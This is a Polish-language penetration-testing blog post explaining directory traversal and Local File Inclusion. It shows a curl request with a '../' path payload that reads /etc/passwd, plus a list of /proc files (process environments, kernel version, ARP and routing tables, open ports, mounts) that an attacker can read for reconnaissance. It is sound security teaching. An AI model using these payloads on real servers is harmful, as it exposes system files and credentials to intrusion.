NFsec Logo

Najlepsze z Directory Traversal i Local File Inclusion (LFI)

14/11/2016 w Bezpieczeństwo, Pen Test Brak komentarzy.  (artykuł nr 574, ilość słów: 632)

A

taki typu directory traversal oraz Local File Inclusion bywają często widywane w aplikacjach internetowych. Obydwa te błędy mogą zostać wykorzystane do odczytu dowolnych plików na serwerze. Najczęściej pokazywanym przykładem jest możliwość przeczytania pliku /etc/passwd:

curl http://podatny_serwer.pl/index.php?file=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Jednakże, atakujący może wykorzystać tą podatność do odczytu systemu plików /proc w celu wyciągnięcia ciekawych informacji np. co działa na serwerze, a także jakie są potencjalne inne drogi uzyskania nieautoryzowanego dostępu:

/proc/sched_debug – Dostarcza informacji o tym, jaki proces jest uruchomiony na którym procesorze. Szczególnie przydatny plik jeśli chcemy odnaleźć numer PID testowanej aplikacji.

apache2  3485       203.009521      3034   120        39.178517       130.877588
apache2  3489        81.844798         1   120         0.716357         0.228239

/proc/self/environ – Zmienne środowiskowe czasami mogą zawierać login i hasło do dodatkowych usług. Niestety nowsze systemy Linux nie pozwalają na dostęp do tego pliku innym użytkownikom niż root. Istnieje na szczęście inna droga. Każdy proces uruchomiony w systemie posiada dodatkowo zestaw własnych atrybutów przypisanych do swojego numeru identyfikacyjnego. Jeśli znamy PID (przeszukanie sched_debug lub możemy próbować iterować po każdej wartości zaczynając od numeru 1) możemy uzyskać dostęp do pliku /proc/$PID/environ:

APACHE_RUN_DIR=/var/run/apache2
APACHE_PID_FILE=/var/run/apache2/apache2.pid
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/

/proc/version – Wersja jądra wykorzystywana w systemie umożliwia sprawdzenie podatnych wersji np. na DirtyC0w.

Linux version 4.4.0-47-generic (buildd@lcy01-03) (gcc version 5.4.0 20160609
(Ubuntu 5.4.0-6ubuntu1~16.04.2) ) #68-Ubuntu SMP Wed Oct 26 19:39:52 UTC 2016

/proc/net/(arp|route) – Tablica ARP i routingu umożliwia poznanie adresów IP innych wewnętrznych serwerów i sieci.

IP address       HW type     Flags       HW address            Mask     Device
192.168.111.1    0x1         0x2         0a:00:27:00:00:00     *        enp0s8
10.0.2.2         0x1         0x2         52:54:00:12:35:02     *        enp0s3

/proc/net/(tcp|udp) – Lista aktywnych połączeń może zostać użyta do ustalenia jakie inne porty nasłuchują na serwerze.

  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid
   0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0
   1: 026FA8C0:0016 016FA8C0:C04A 01 00000000:00000000 02:00053C7E 00000000     0

/proc/mounts – Lista zamontowanych systemów plików raz z opcjami może dostarczyć informacji o miejscu interesujących danych oraz gdzie potencjalnie nie ma flag typu noexec lub nosuid:

/dev/sda1 / ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=404664k,mode=755 0 0

Połączenie ataków DT oraz LFI z możliwością dostępu do systemu plików /proc jest świetnym sposobem na uzyskanie dostępu do informacji o atakowanym systemie operacyjnym Linux. Na przykład jesteśmy w stanie zidentyfikować jakiego rodzaju oprogramowanie jest uruchomione na serwerze, jakie porty są w trybie nasłuchu (bez konieczności skanowania) lub gdzie możemy bezpiecznie z punktu widzenia włamywacza uruchomić szkodliwe skrypty. Jeśli odkryjemy możliwość wykonania tego typu ataków w webaplikacji ważnym jest, aby nie przeoczyć tej ścieżki testów – czasami może ona doprowadzić do całkowitego dostępu do maszyny.

Więcej informacji: Understanding /proc, shell via LFI, LFI2RFI, Directory Traversal, File Inclusion, and The Proc File System

Kategorie K a t e g o r i e : Bezpieczeństwo, Pen Test

Tagi T a g i : , , ,

Komentowanie tego wpisu jest zablokowane.